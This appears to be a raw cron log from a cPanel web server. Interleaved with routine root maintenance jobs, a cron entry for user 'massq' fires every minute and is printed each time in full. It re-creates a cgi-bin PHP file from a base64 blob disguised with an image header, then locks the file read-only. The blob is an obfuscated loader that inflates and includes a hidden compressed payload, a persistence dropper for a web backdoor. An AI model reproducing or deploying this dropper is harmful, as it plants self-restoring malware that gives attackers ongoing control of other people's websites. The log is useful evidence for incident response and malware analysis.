Aug 30 22:28:01 server CROND[16544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:29:01 server CROND[17006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:29:01 server CROND[17007]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:29:01 server CROND[17008]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:30:01 server CROND[17390]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 22:30:01 server CROND[17391]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 22:30:01 server CROND[17394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:30:01 server CROND[17395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:30:01 server CROND[17393]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 22:30:01 server CROND[17396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:30:01 server CROND[17392]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 22:30:01 server CROND[17397]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 22:31:01 server CROND[18218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:31:01 server CROND[18219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:31:01 server CROND[18220]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:32:01 server CROND[18592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:32:01 server CROND[18593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:32:01 server CROND[18594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:33:01 server CROND[18972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:33:01 server CROND[18973]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:33:01 server CROND[18974]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:34:01 server CROND[19437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:34:01 server CROND[19438]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:34:01 server CROND[19439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:35:01 server CROND[19816]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 22:35:01 server CROND[19819]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 22:35:01 server CROND[19820]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 22:35:01 server CROND[19825]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:35:01 server CROND[19824]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 22:35:01 server CROND[19822]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:35:01 server CROND[19828]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 22:35:01 server CROND[19826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:35:01 server CROND[19827]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 22:36:01 server CROND[20648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:36:01 server CROND[20649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:36:01 server CROND[20650]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:37:01 server CROND[21083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:37:01 server CROND[21084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:37:01 server CROND[21085]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:38:01 server CROND[21456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:38:01 server CROND[21457]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:38:01 server CROND[21458]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:39:01 server CROND[21944]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 22:39:01 server CROND[21945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:39:01 server CROND[21943]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:39:01 server CROND[21946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:40:01 server CROND[22388]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 22:40:01 server CROND[22389]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 22:40:01 server CROND[22390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:40:01 server CROND[22392]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 22:40:01 server CROND[22396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
